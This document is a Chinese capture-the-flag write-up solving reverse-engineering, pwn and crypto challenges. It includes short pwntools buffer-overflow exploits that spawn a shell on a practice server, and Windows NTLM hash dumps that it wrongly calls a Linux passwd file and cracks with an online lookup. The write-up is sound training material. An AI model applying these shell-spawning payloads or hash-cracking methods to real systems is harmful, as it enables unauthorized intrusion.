    if ( *((_BYTE *)&v8 + 5 * v4 + v5 - 0x29) == '#' )
    {
      puts("\nok, the order you enter is the flag!");
      exit(0);
    }
  }
}

迷宫在_data_start__中:

.data:00402000 __data_start__  db   '*', '1', '1', '1', '1'
.data:00402000                                         ; DATA XREF: _main+25↑o
.data:00402000                 db   '0', '1', '0', '0', '0'
.data:00402000                 db   '0', '1', '0', '1', '0'
.data:00402000                 db   '0', '0', '0', '1', '0'
.data:00402000                 db   '1', '1', '1', '1', '#'

因为是小迷宫,手走一遍就可以了:222441144222

即flag:

flag{222441144222}

Java逆向解密

XJad直接打开

// Decompiled by Jad v1.5.8e2. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://kpdus.tripod.com/jad.html
// Decompiler options: packimports(3) fieldsfirst ansi space
// Source File Name:   Reverse.java

import java.io.PrintStream;
import java.util.ArrayList;
import java.util.Scanner;

public class Reverse
{

    public Reverse()
    {
    }

    public static void main(String args[])
    {
        Scanner s = new Scanner(System.in);
        System.out.println("Please input the flag :");
        String str = s.next();
        System.out.println("Your input is :");
        System.out.println(str);
        char stringArr[] = str.toCharArray();
        Encrypt(stringArr);
    }

    public static void Encrypt(char arr[])
    {
        ArrayList Resultlist = new ArrayList();
        for (int i = 0; i < arr.length; i++)
        {
            int result = arr[i] + 64 ^ 0x20;
            Resultlist.add(Integer.valueOf(result));
        }

        int KEY[] = {
            180, 136, 137, 147, 191, 137, 147, 191, 148, 136,
            133, 191, 134, 140, 129, 135, 191, 65
        };
        ArrayList KEYList = new ArrayList();
        for (int j = 0; j < KEY.length; j++)
            KEYList.add(Integer.valueOf(KEY[j]));

        System.out.println("Result:");
        if (Resultlist.equals(KEYList))
            System.out.println("Congratulations！");
        else
            System.err.println("Error！");
    }
}

主逻辑也很简单,将输入加上 64 ^ 0x20,最后对比KEY

解密脚本:

key =  [180, 136, 137, 147, 191, 137, 147, 191, 148, 136,
            133, 191, 134, 140, 129, 135, 191, 65]

for i in range(len(key)):
    key[i] -= ord('@')
    key[i] ^= 0x20

print(''.join(map(chr,key)))

得flag:

flag{This_is_the_flag_!}

简单注册机

用JEB 3打开,发现主要判断如下

jdzcj-main

这里有两种解法

直接构造输入4b40000000000000000000000000000000a, 0为任意字符,即可让app直接输出flag
直接用python模拟flag生成流程

v5 = bytearray(b"dd2940c84462b4dd7c450528835cca15")
v9 = 2
v2 =1
v11 = 0x1f

v5[v9] = v5[v9] + v5[31]-50
v5[4]= v5[v9] + v5[5]-0x30
v5 [30]= v5[v11] + v5[9]- 0x30
v5[14]= (v5 [27] + v5 [28] - 97)

for i in range(16):
    v5[i], v5[0x1f - i] = v5[0x1f - i], v5[i]

print(v5)

得flag

flag{59acc538825054c7de4b26440c0999dd}

还是直接构造输入快….

[GXYCTF2019]luck_guy

IDA打开发现getflag()函数

luck-gay-main

解密脚本:

f1 = "GXY{do_not_"

f2 = list(map(ord,'fo`guci'[::-1]))

for j in range(8):
    if j % 2 == 1:
        f2[j] -= 2
    else:
        f2[j] -= 1


print(f1 + ''.join(list(map(chr, f2))))

换一下外包装,得flag:

flag{do_not_hate_me}

Pwn

jarvisoj_level0

基础栈溢出, 直接溢出到 backdoor 就可以了

exp如下

from pwn import *

# p = process("./level0)
p = remote("node3.buuoj.cn", 27700)

payload = b"a" * (128 + 8) + p64(0x000000000400596)

p.sendlineafter("Hello, World\n", payload)

p.interactive()

jarvisoj_level2

基础栈溢出, 没有后门函数但是有system函数, 且 IDA 搜索字符串有/bin/sh

.data:0804A024 hint            db '/bin/sh',0

那么思路就是栈溢出到system, 且布局栈中有参数 /bin/sh 的地址就可以 getshell 了

exp如下

from pwn import *

# p = process("./level2")

p = remote("node3.buuoj.cn", 25988)

payload = b"a" * (136 + 4) + p32(0x8048320) + p32(0) + p32(0x804a024)

p.sendlineafter("Input:", payload)

p.interactive()

0ctf 2017 babyheap

Crypto

MD5

https://www.cmd5.com/ 直接查得admin1

则flag为flag{admin1}

Url编码

https://tool.oschina.net/encode?type=4 解得 flag{and 1=1}

一眼就解密

base64 解得 flag{THE_FLAG_OF_THIS_STRING}

看我回旋踢

简单的移位密码, ROT13, 解得flag flag{5cd1004d-86a5-46d8-b720-beb5ba0417e1}

变异凯撒

观察知前四位分别与flag相差5,6,7,8

则有

s = b"afZ_r9VYfScOeO_UL^RWUc"
s = bytearray(s)
j = 5
for i in range(len(s)):
  s[i] += j
  j += 1
print(s)

得flagflag{Caesar_variation}

Quoted-printable

http://web.chacuo.net/charsetquotedprintable 得flag{那你也很棒哦}

password

UTF-8 编码, 脑洞猜flag: flag{zs19900315}

rsarsa

import gmpy2
from Crypto.Util.number import long_to_bytes
p =  9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q =  11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e =  65537
c =  83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
n = p * q
m = pow(c, d, n)
print(m)

得flag flag{5577446633554466577768879988}

Rabbit

用Rabbit解密得flagflag{Cute_Rabbit}

RSA

import gmpy2
p = 473398607161
q = 4511491
e = 17
d = gmpy2.invert(e, (p - 1) * (q - 1))
print(d)

得flag: flag{125631357777427553}

Windows系统密码

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ctf:1002:06af9108f2e1fecf144e2e8adef09efd:a7fcb22a88038f35a8f39d503e7f0062:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:bef14eee40dffbc345eeb3f58e290d56:::

linux的passwd文件，用https://www.cmd5.com/解密得good-luck, 则flag: flag{good-luck}

Alice与Bob

http://factordb.com/index.php?query=98554799767 查得两个素数为101999和966233, 则

import hashlib
s = "101999" + "966233"
print(hashlib.md5(s).hexdigest())

得flag: flag{d450209323a847c8d01c6be47c81811a}

篱笆墙的影子

栅栏密码, 加密向量为2, 得到flagflag{wethinkwehavetheflag}

老文盲了

罼雧締眔擴灝淛匶襫黼瀬鎶軄鶛驕鳓哵眔鞹鰝

秀上天际，生僻字谐音, flag为BJD{淛匶襫黼瀬鎶軄鶛驕鳓哵}

大帝的密码武器

凯撒密码, FRPHEVGL通过加密向量13解出SECURITY

则flag为flag{PbzrPuvan}